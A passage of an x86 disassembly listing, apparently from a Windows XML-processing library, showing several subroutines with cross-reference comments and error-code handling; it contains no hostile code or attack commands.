		call	sub_69B4D7A3
		push	eax
		mov	ecx, ebx
		call	sub_69B8C7A5
		jmp	short loc_69B8E167
; ---------------------------------------------------------------------------


loc_69B8E13D:				; CODE XREF: sub_69B8DF85+18Ej
		test	edi, edi
		jz	short loc_69B8E167


loc_69B8E141:				; CODE XREF: sub_69B8DF85+1E0j
					; sub_69B8DF85+27Fj
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE01Dh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	loc_69B8E356
; ---------------------------------------------------------------------------


loc_69B8E15F:				; CODE XREF: sub_69B8DF85+173j
		test	edi, edi
		jz	short loc_69B8E167
		test	al, al
		jz	short loc_69B8E141


loc_69B8E167:				; CODE XREF: sub_69B8DF85+177j
					; sub_69B8DF85+1B6j ...
		mov	ecx, [ebp+var_8]
		test	ecx, ecx
		jz	loc_69B8E274
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		mov	edi, [ebp+var_8]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		test	al, al
		jz	loc_69B8E274
		jmp	short loc_69B8E18E
; ---------------------------------------------------------------------------


loc_69B8E18B:				; CODE XREF: sub_69B8DF85+2E6j
		mov	edi, [ebp+var_8]


loc_69B8E18E:				; CODE XREF: sub_69B8DF85+204j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		mov	ebx, eax
		mov	eax, [ebx+8]
		mov	edi, [eax+10h]
		test	edi, edi
		jz	loc_69B8E261
		cmp	edi, dword_69B95A5C
		jz	loc_69B8E261
		cmp	edi, dword_69B95A64
		jz	loc_69B8E261
		and	[ebp+var_C], 0
		cmp	[ebp+var_1], 0
		jz	short loc_69B8E1D8
		mov	ecx, [esi+6Ch]
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	edi
		call	sub_69B4D2DF
		jmp	short loc_69B8E1E1
; ---------------------------------------------------------------------------


loc_69B8E1D8:				; CODE XREF: sub_69B8DF85+240j
		push	edi
		call	sub_69B4D2B6
		mov	[ebp+var_C], eax


loc_69B8E1E1:				; CODE XREF: sub_69B8DF85+251j
		test	eax, eax
		jz	short loc_69B8E1FE
		mov	ecx, [ebx+8]
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		call	sub_69B192B7
		push	eax
		mov	ecx, ebx
		call	sub_69B5AF7A
		jmp	short loc_69B8E20A
; ---------------------------------------------------------------------------


loc_69B8E1FE:				; CODE XREF: sub_69B8DF85+25Ej
		cmp	edi, dword_69B95A64
		jnz	loc_69B8E141


loc_69B8E20A:				; CODE XREF: sub_69B8DF85+277j
		mov	eax, [ebx+10h]
		test	eax, eax
		mov	[ebp+var_18], eax
		jz	short loc_69B8E261
		mov	edx, [ebx+8]
		mov	eax, [eax]
		mov	ecx, [esi+6Ch]
		push	edi
		push	[ebp+var_C]
		mov	[ebp+var_20], eax
		push	edx
		call	sub_69B3DA18
		mov	ecx, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_20]
		call	dword ptr [eax+0F0h]
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		mov	edi, eax
		jg	short loc_69B8E248
		call	sub_69B2E6D8


loc_69B8E248:				; CODE XREF: sub_69B8DF85+2BCj
		mov	eax, [edi+88h]
		cmp	eax, [ebx+8]
		jnz	short loc_69B8E261
		mov	ecx, [ebp+var_18]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_69B4B0C7


loc_69B8E261:				; CODE XREF: sub_69B8DF85+21Aj
					; sub_69B8DF85+226j ...
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jnz	loc_69B8E18B
		mov	ebx, [ebp+var_10]


loc_69B8E274:				; CODE XREF: sub_69B8DF85+1E7j
					; sub_69B8DF85+1FEj
		cmp	[ebp+var_1], 0
		jz	short loc_69B8E283
		mov	ecx, [esi+6Ch]
		push	ebx
		call	sub_69B4DDE6


loc_69B8E283:				; CODE XREF: sub_69B8DF85+2F3j
		mov	ecx, [ebp+var_1C]
		push	ebx
		push	dword ptr [ebx+8]
		call	sub_69B3182D
		mov	ecx, [ebp+var_14]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	loc_69B8E010
		mov	edi, [ebp+var_14]
		jmp	loc_69B8DFB5
; ---------------------------------------------------------------------------


loc_69B8E2AA:				; CODE XREF: sub_69B8DF85+3BCj
		mov	eax, [eax+2Ch]
		mov	edi, [eax+20h]
		mov	eax, [eax+1Ch]
		mov	ebx, [edi+0Ch]
		mov	[ebp+var_10], eax
		jmp	short loc_69B8E334
; ---------------------------------------------------------------------------


loc_69B8E2BB:				; CODE XREF: sub_69B8DF85+3B0j
		push	ebx
		mov	ecx, edi
		call	sub_69B8A163
		mov	[ebp+var_8], eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	[ebp+var_20], eax
		jg	short loc_69B8E2D9
		call	sub_69B2E6D8


loc_69B8E2D9:				; CODE XREF: sub_69B8DF85+34Dj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_20]
		cmp	eax, [ecx+10h]
		jz	short loc_69B8E334
		mov	ecx, [esi+14h]
		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jz	short loc_69B8E334
		push	eax
		call	sub_69B1980A
		test	eax, eax
		mov	[ebp+var_20], eax
		jz	short loc_69B8E334
		push	[ebp+var_8]
		mov	ecx, [ebp+var_10]
		call	sub_69B1980A
		push	[ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_18], eax
		call	sub_69B17DC6
		mov	eax, [ebp+var_20]
		mov	eax, [eax+8]
		mov	edx, [edi]
		push	eax
		push	ebx
		mov	ecx, edi
		mov	[ebp+var_8], eax
		call	dword ptr [edx+38h]
		push	[ebp+var_18]
		mov	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_69B3182D


loc_69B8E334:				; CODE XREF: sub_69B8DF85+334j
					; sub_69B8DF85+35Dj ...
		dec	ebx
		jns	short loc_69B8E2BB
		mov	ecx, [ebp+var_14]
		mov	eax, [ecx]


loc_69B8E33C:				; CODE XREF: sub_69B8DF85+86j
		call	dword ptr [eax+40h]
		test	eax, eax
		jnz	loc_69B8E2AA
		mov	eax, [esi+14h]
		push	[ebp+var_1C]
		add	eax, 48h
		push	eax
		call	sub_69B17320


loc_69B8E356:				; CODE XREF: sub_69B8DF85+1D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B8DF85	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8E35B	proc near		; DATA XREF: .text:off_69B2B1F8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8D93D
		test	[esp+4+arg_0], 1
		jz	short loc_69B8E373
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B8E373:				; CODE XREF: sub_69B8E35B+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B8E35B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8E37A	proc near		; CODE XREF: sub_69B8E714+FCp
		push	44h
		push	offset dword_69B8E4B8
		call	sub_69B19C5C
		mov	edi, ecx
		xor	esi, esi
		mov	[ebp-1Ch], esi
		mov	ecx, [edi+14h]
		push	1
		push	dword ptr [ebp+0Ch]
		call	sub_69B8AFBA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B8E3AC
		mov	dword ptr [ebp-1Ch], 0C00CE00Ah
		jmp	loc_69B8E4A2
; ---------------------------------------------------------------------------


loc_69B8E3AC:				; CODE XREF: sub_69B8E37A+24j
		push	dword ptr [ebp+8]
		call	sub_69B8D688
		mov	esi, eax
		mov	[ebp-20h], esi
		mov	eax, [ebx+18h]
		mov	[ebp-24h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_69B8E3EE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp-24h]
		mov	ecx, [eax+8]
		mov	[ebp-28h], ecx
		mov	eax, [eax+0Ch]
		mov	[ebp-2Ch], eax
		mov	edx, [esi]
		push	1
		push	ecx
		push	eax
		push	esi
		call	dword ptr [edx+50h]
		mov	[ebp-1Ch], eax
		jmp	loc_69B8E472
; ---------------------------------------------------------------------------


loc_69B8E3EE:				; CODE XREF: sub_69B8E37A+4Bj
		mov	eax, [edi+68h]
		mov	[ebp-30h], eax
		mov	al, [eax+83h]
		mov	[ebp-31h], al
		test	al, al
		jz	short loc_69B8E472
		mov	eax, [ebx+0Ch]
		mov	[ebp-38h], eax
		mov	[ebp-24h], eax
		test	eax, eax
		jz	short loc_69B8E472
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		lea	edx, [ebp-3Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		mov	eax, [ebp-24h]
		mov	eax, [eax+0Ch]
		mov	[ebp-40h], eax
		mov	ecx, [esi]
		push	1
		push	eax
		push	dword ptr [ebp-3Ch]
		push	esi
		call	dword ptr [ecx+4Ch]
		mov	[ebp-1Ch], eax
		test	eax, eax
		jl	short loc_69B8E472
		and	dword ptr [ebp-44h], 0
		mov	eax, [esi]
		lea	ecx, [ebp-44h]
		push	ecx
		push	esi
		call	dword ptr [eax+34h]
		mov	edi, [edi+2Ch]
		mov	[ebp-48h], edi
		test	edi, edi
		jz	short loc_69B8E472
		mov	[ebp-4Ch], edi
		push	dword ptr [ebp-44h] ; lpString
		call	sub_69B1A587
		mov	[ebp-50h], eax
		lea	eax, [edi+10h]
		mov	[ebp-54h], eax
		push	dword ptr [ebp-50h]
		push	eax
		call	sub_69B17320


loc_69B8E472:				; CODE XREF: sub_69B8E37A+6Fj
					; sub_69B8E37A+85j ...
		lea	eax, [ebp-24h]
		push	eax
		call	sub_69B17230
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B8E4A2
; ---------------------------------------------------------------------------


loc_69B8E481:				; DATA XREF: .text:69B8E4BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8E48A:				; DATA XREF: .text:69B8E4C0o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]


loc_69B8E4A2:				; CODE XREF: sub_69B8E37A+2Dj
					; sub_69B8E37A+105j
		test	esi, esi
		jz	short loc_69B8E4AC
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B8E4AC:				; CODE XREF: sub_69B8E37A+12Aj
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	8
sub_69B8E37A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B8E4B8	dd 0FFFFFFFFh			dd offset loc_69B8E481
		dd offset loc_69B8E48A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8E4C4	proc near		; DATA XREF: sub_69B8E980+20Eo

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		sub	eax, 6
		push	esi
		mov	esi, ecx
		jz	loc_69B8E5A7
		sub	eax, 7
		jz	loc_69B8E57A
		sub	eax, 6
		jz	short loc_69B8E4FC
		dec	eax
		dec	eax
		jnz	loc_69B8E5AD
		mov	ecx, [esi+2Ch]
		push	[ebp+arg_10]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		jmp	loc_69B8E5AD
; ---------------------------------------------------------------------------


loc_69B8E4FC:				; CODE XREF: sub_69B8E4C4+1Ej
		cmp	dword ptr [esi+5Ch], 24h
		jnz	loc_69B8E594
		mov	eax, [esi+2Ch]
		test	byte ptr [eax+30h], 1
		jz	short loc_69B8E519
		mov	eax, 0C00CE004h
		jmp	loc_69B8E5AF
; ---------------------------------------------------------------------------


loc_69B8E519:				; CODE XREF: sub_69B8E4C4+49j
		mov	eax, [ebp+arg_14]
		push	ebx
		mov	ebx, [eax+8]
		mov	eax, [esi+14h]
		mov	eax, [eax+50h]
		test	eax, eax
		jz	short loc_69B8E536
		push	ebx
		mov	ecx, eax
		call	sub_69B1980A
		test	eax, eax
		jnz	short loc_69B8E565


loc_69B8E536:				; CODE XREF: sub_69B8E4C4+64j
		mov	eax, [esi+64h]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_10], eax
		mov	eax, [esi+14h]
		push	1
		push	0
		mov	[ebp+arg_8], eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+1Ch]
		push	eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+18h]
		mov	ecx, [ebp+arg_8]
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_69B8B5C1
		pop	edi


loc_69B8E565:				; CODE XREF: sub_69B8E4C4+70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [esi+2Ch]
		add	eax, 20h
		push	eax
		call	sub_69B17320
		pop	ebx
		jmp	short loc_69B8E5AD
; ---------------------------------------------------------------------------


loc_69B8E57A:				; CODE XREF: sub_69B8E4C4+15j
		mov	eax, [esi+5Ch]
		sub	eax, 22h
		jz	short loc_69B8E59A
		dec	eax
		jnz	short loc_69B8E594
		mov	eax, [esi+2Ch]
		push	[ebp+arg_10]
		add	eax, 14h
		push	eax
		call	sub_69B17320


loc_69B8E594:				; CODE XREF: sub_69B8E4C4+3Cj
					; sub_69B8E4C4+BFj ...
		and	dword ptr [esi+5Ch], 0
		jmp	short loc_69B8E5AD
; ---------------------------------------------------------------------------


loc_69B8E59A:				; CODE XREF: sub_69B8E4C4+BCj
		push	[ebp+arg_10]
		mov	ecx, [esi+2Ch]
		call	sub_69B8C57E
		jmp	short loc_69B8E594
; ---------------------------------------------------------------------------


loc_69B8E5A7:				; CODE XREF: sub_69B8E4C4+Cj
		mov	eax, [ebp+arg_C]
		mov	[esi+5Ch], eax


loc_69B8E5AD:				; CODE XREF: sub_69B8E4C4+22j
					; sub_69B8E4C4+33j ...
		xor	eax, eax


loc_69B8E5AF:				; CODE XREF: sub_69B8E4C4+50j
		pop	esi
		pop	ebp
		retn	1Ch
sub_69B8E4C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B8E5B4(LPCWSTR lpString, int)

sub_69B8E5B4	proc near		; CODE XREF: sub_69B8EBEA+4Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebx+18h]
		test	esi, esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_1], 0
		jz	short loc_69B8E5DE
		mov	byte ptr [edi+3Dh], 1
		mov	dword ptr [edi+70h], 4
		jmp	short loc_69B8E61A
; ---------------------------------------------------------------------------


loc_69B8E5DE:				; CODE XREF: sub_69B8E5B4+1Bj
		mov	esi, [ebx+0Ch]
		test	esi, esi
		jz	short loc_69B8E60F
		mov	eax, [edi+68h]
		cmp	byte ptr [eax+83h], 0
		jz	short loc_69B8E60F
		mov	eax, [ebp+lpString]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		mov	byte ptr [edi+3Dh], 1
		mov	dword ptr [edi+70h], 4
		mov	[ebp+var_1], 1
		jmp	short loc_69B8E61A
; ---------------------------------------------------------------------------


loc_69B8E60F:				; CODE XREF: sub_69B8E5B4+2Fj
					; sub_69B8E5B4+3Bj
		mov	byte ptr [edi+3Dh], 0
		mov	dword ptr [edi+70h], 5


loc_69B8E61A:				; CODE XREF: sub_69B8E5B4+28j
					; sub_69B8E5B4+59j
		cmp	byte ptr [edi+3Dh], 0
		jz	loc_69B8E70A
		or	dword ptr [ebx+30h], 8
		mov	eax, [edi+50h]
		push	[ebp+lpString]
		mov	[edi+54h], eax
		call	sub_69B8D688
		mov	ebx, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		cmp	[ebp+var_1], 0
		push	0
		jz	short loc_69B8E67F
		mov	eax, [esi+0Ch]
		mov	ecx, [ebx]
		push	eax
		push	[ebp+var_C]
		push	ebx
		call	dword ptr [ecx+4Ch]
		test	eax, eax
		mov	[ebp+var_8], eax
		jl	short loc_69B8E690
		mov	eax, [ebx]
		and	[ebp+lpString],	0
		lea	ecx, [ebp+lpString]
		push	ecx
		push	ebx
		call	dword ptr [eax+34h]
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		call	sub_69B17320
		jmp	short loc_69B8E690
; ---------------------------------------------------------------------------


loc_69B8E67F:				; CODE XREF: sub_69B8E5B4+90j
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		mov	edx, [ebx]
		push	eax
		push	ecx
		push	ebx
		call	dword ptr [edx+50h]
		mov	[ebp+var_8], eax


loc_69B8E690:				; CODE XREF: sub_69B8E5B4+A4j
					; sub_69B8E5B4+C9j
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		xor	ebx, ebx
		cmp	[ebp+var_8], ebx
		jge	short loc_69B8E70A
		cmp	[ebp+var_1], bl
		mov	[edi+3Dh], bl
		mov	dword ptr [edi+70h], 5
		jz	short loc_69B8E6D2
		push	ebx
		push	esi
		push	0C00CE028h
		call	sub_69B2F944
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_69B8E6D7
		mov	ecx, esi
		call	sub_69B2F43C
		mov	esi, eax
		jmp	short loc_69B8E6D7
; ---------------------------------------------------------------------------


loc_69B8E6D2:				; CODE XREF: sub_69B8E5B4+FCj
		mov	esi, offset off_69B1A5AC


loc_69B8E6D7:				; CODE XREF: sub_69B8E5B4+111j
					; sub_69B8E5B4+11Cj
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		push	ebx
		push	esi
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		push	0C00CE009h
		call	sub_69B2F944
		add	esp, 10h
		push	eax
		push	[ebp+var_8]
		mov	ecx, edi
		call	sub_69B8D6C4
		push	[ebp+var_8]
		push	eax
		call	sub_69B2E8A2


loc_69B8E70A:				; CODE XREF: sub_69B8E5B4+6Aj
					; sub_69B8E5B4+EDj
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B8E5B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8E714	proc near		; DATA XREF: .text:69B149C8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_10]
		push	ebx
		push	esi
		mov	esi, [eax]
		xor	ebx, ebx
		cmp	[esi+0Ch], ebx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		jnz	short loc_69B8E730
		inc	dword ptr [edi+50h]


loc_69B8E730:				; CODE XREF: sub_69B8E714+17j
		mov	eax, [edi+70h]
		sub	eax, ebx
		jz	loc_69B8E902
		dec	eax
		jz	loc_69B8E89F
		dec	eax
		dec	eax
		jz	loc_69B8E7DA
		dec	eax
		jz	short loc_69B8E780
		dec	eax
		jz	short loc_69B8E766
		dec	eax
		jnz	loc_69B8E976
		cmp	dword ptr [esi+4], 11h
		jz	loc_69B8E90F
		jmp	loc_69B8E888
; ---------------------------------------------------------------------------


loc_69B8E766:				; CODE XREF: sub_69B8E714+3Aj
		cmp	dword ptr [esi+4], 2
		jnz	loc_69B8E888
		mov	byte ptr [edi+3Ch], 1
		mov	dword ptr [edi+70h], 6
		jmp	loc_69B8E888
; ---------------------------------------------------------------------------


loc_69B8E780:				; CODE XREF: sub_69B8E714+37j
		mov	eax, [esi+0Ch]
		cmp	eax, ebx
		jnz	short loc_69B8E794
		mov	ecx, [edi+54h]
		inc	ecx
		cmp	[edi+50h], ecx
		jz	short loc_69B8E79C
		cmp	eax, ebx
		jz	short loc_69B8E7AB


loc_69B8E794:				; CODE XREF: sub_69B8E714+71j
		mov	eax, [edi+50h]
		cmp	eax, [edi+54h]
		jnz	short loc_69B8E7AB


loc_69B8E79C:				; CODE XREF: sub_69B8E714+7Aj
		mov	eax, [edi+68h]
		mov	ecx, [edi+2Ch]
		push	eax
		call	sub_69B8C56F
		mov	[ebp+arg_8], eax


loc_69B8E7AB:				; CODE XREF: sub_69B8E714+7Ej
					; sub_69B8E714+86j
		cmp	dword ptr [esi+4], 11h
		jnz	loc_69B8E888
		mov	eax, [esi+20h]
		mov	esi, [eax+8]
		mov	ecx, [edi+14h]
		push	ebx
		push	esi
		call	sub_69B8AFBA
		xor	ecx, ecx
		mov	cl, [edi+3Ch]
		push	ecx
		mov	ecx, [edi+14h]
		push	esi
		push	eax
		call	sub_69B8B4A5
		jmp	loc_69B8E888
; ---------------------------------------------------------------------------


loc_69B8E7DA:				; CODE XREF: sub_69B8E714+30j
		mov	eax, [esi+4]
		cmp	eax, 1Bh
		jz	loc_69B8E888
		cmp	eax, 2
		jz	short loc_69B8E7F0
		cmp	eax, 6
		jnz	short loc_69B8E7F4


loc_69B8E7F0:				; CODE XREF: sub_69B8E714+D5j
		mov	byte ptr [edi+3Ch], 1


loc_69B8E7F4:				; CODE XREF: sub_69B8E714+DAj
		cmp	[edi+50h], ebx
		jnz	short loc_69B8E7FF
		mov	eax, [edi+40h]
		mov	[ebp+arg_8], eax


loc_69B8E7FF:				; CODE XREF: sub_69B8E714+E3j
		cmp	dword ptr [esi+4], 16h
		mov	eax, [esi+20h]
		jnz	short loc_69B8E817
		push	dword ptr [eax+8]
		mov	ecx, edi
		push	[ebp+arg_4]
		call	sub_69B8E37A
		jmp	short loc_69B8E86D
; ---------------------------------------------------------------------------


loc_69B8E817:				; CODE XREF: sub_69B8E714+F2j
		mov	ecx, [esi+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [esi+14h]
		push	eax
		push	ecx
		call	sub_69B190C1
		mov	ecx, [edi+7Ch]
		lea	ebx, [esi+1Ch]
		push	ebx
		push	[ebp+arg_0]
		add	ecx, edi
		push	eax
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword ptr [edi+78h]
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_69B8E976
		cmp	byte ptr [edi+58h], 0
		jz	short loc_69B8E875
		push	[ebp+arg_10]
		mov	ecx, [edi+24h]
		push	[ebp+arg_C]
		mov	ecx, [ecx+10h]
		mov	eax, [edi+10h]
		mov	edx, [eax]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [edx+1Ch]


loc_69B8E86D:				; CODE XREF: sub_69B8E714+101j
					; sub_69B8E714+189j
		mov	[ebp+var_4], eax
		jmp	loc_69B8E976
; ---------------------------------------------------------------------------


loc_69B8E875:				; CODE XREF: sub_69B8E714+13Ej
		cmp	byte ptr [edi+60h], 0
		jz	loc_69B8E976
		cmp	dword ptr [ebx], 0
		jnz	loc_69B8E976


loc_69B8E888:				; CODE XREF: sub_69B8E714+4Dj
					; sub_69B8E714+56j ...
		push	[ebp+arg_10]
		mov	edi, [edi+10h]
		push	[ebp+arg_C]
		mov	eax, [edi]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	dword ptr [eax+1Ch]
		jmp	short loc_69B8E86D
; ---------------------------------------------------------------------------


loc_69B8E89F:				; CODE XREF: sub_69B8E714+28j
		mov	eax, [esi+4]
		cmp	eax, 6
		jnz	short loc_69B8E8AF
		mov	eax, [esi+8]
		mov	[edi+5Ch], eax
		jmp	short loc_69B8E888
; ---------------------------------------------------------------------------


loc_69B8E8AF:				; CODE XREF: sub_69B8E714+191j
		cmp	eax, 0Dh
		jnz	short loc_69B8E888
		cmp	dword ptr [edi+5Ch], 22h
		jnz	short loc_69B8E8D3
		mov	eax, [esi+14h]
		mov	esi, [esi+10h]
		push	eax
		push	esi
		call	sub_69B190C1
		push	eax
		lea	eax, [edi+18h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B8E888
; ---------------------------------------------------------------------------


loc_69B8E8D3:				; CODE XREF: sub_69B8E714+1A4j
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		call	sub_69B31B27
		test	al, al
		jnz	short loc_69B8E888
		mov	eax, [esi+14h]
		mov	esi, [esi+10h]
		push	ebx
		push	eax
		push	esi
		call	sub_69B190C1
		push	eax
		mov	eax, 0C00CE025h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B8E888
; ---------------------------------------------------------------------------


loc_69B8E902:				; CODE XREF: sub_69B8E714+21j
		mov	eax, [esi+4]
		cmp	eax, 5
		jz	short loc_69B8E92B
		cmp	eax, 11h
		jnz	short loc_69B8E948


loc_69B8E90F:				; CODE XREF: sub_69B8E714+47j
		cmp	[esi+0Ch], ebx
		jz	short loc_69B8E948
		mov	ecx, [edi+14h]
		xor	eax, eax
		mov	al, [edi+3Ch]
		push	eax
		mov	eax, [esi+20h]
		push	ebx
		push	dword ptr [eax+8]
		call	sub_69B8C45B
		jmp	short loc_69B8E948
; ---------------------------------------------------------------------------


loc_69B8E92B:				; CODE XREF: sub_69B8E714+1F4j
		mov	eax, [edi+14h]
		mov	byte ptr [eax+2Ch], 1
		mov	eax, [edi+14h]
		push	dword ptr [esi+20h]
		add	eax, 5Ch
		push	eax
		call	sub_69B17320
		mov	dword ptr [edi+70h], 1


loc_69B8E948:				; CODE XREF: sub_69B8E714+1F9j
					; sub_69B8E714+1FEj ...
		push	[ebp+arg_10]
		mov	eax, [edi+10h]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+1Ch]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_69B8E976
		cmp	dword ptr [esi+4], 5
		jnz	short loc_69B8E976
		push	dword ptr [esi+1Ch]
		add	edi, 40h
		push	edi
		call	sub_69B17320


loc_69B8E976:				; CODE XREF: sub_69B8E714+3Dj
					; sub_69B8E714+134j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B8E714	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8E980	proc near		; DATA XREF: sub_69B8EC68+10o
					; sub_69B8EE33:loc_69B8EF4Do ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_8]
		sub	eax, 7
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		jz	loc_69B8EB27
		dec	eax
		jz	loc_69B8EA98
		dec	eax
		jz	loc_69B8EA57
		dec	eax
		jnz	loc_69B8EBE1
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+8]
		mov	eax, [esi+14h]
		mov	eax, [eax+50h]
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+arg_8], ecx
		jnz	short loc_69B8E9C3
		xor	eax, eax
		jmp	short loc_69B8E9CB
; ---------------------------------------------------------------------------


loc_69B8E9C3:				; CODE XREF: sub_69B8E980+3Dj
		push	ecx
		mov	ecx, eax
		call	sub_69B1980A


loc_69B8E9CB:				; CODE XREF: sub_69B8E980+41j
		push	eax
		lea	edi, [esi+38h]
		push	edi
		call	sub_69B17320
		cmp	[edi], ebx
		jz	short loc_69B8E9F2
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE01Ah
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8E9F2:				; CODE XREF: sub_69B8E980+57j
		push	1Ch
		call	sub_69B17EF3
		cmp	eax, ebx
		jz	short loc_69B8EA09
		push	[ebp+arg_8]
		mov	ecx, eax
		call	sub_69B16F00
		jmp	short loc_69B8EA0B
; ---------------------------------------------------------------------------


loc_69B8EA09:				; CODE XREF: sub_69B8E980+7Bj
		xor	eax, eax


loc_69B8EA0B:				; CODE XREF: sub_69B8E980+87j
		push	eax
		push	edi
		call	sub_69B17320
		push	dword ptr [edi]
		mov	ecx, [esi+14h]
		call	sub_69B8B546
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	0Ah
		push	dword ptr [esi+40h]
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_69B8D750
		mov	eax, [ebp+arg_18]
		mov	ecx, [edi]
		mov	byte ptr [esi+60h], 1
		push	dword ptr [eax]
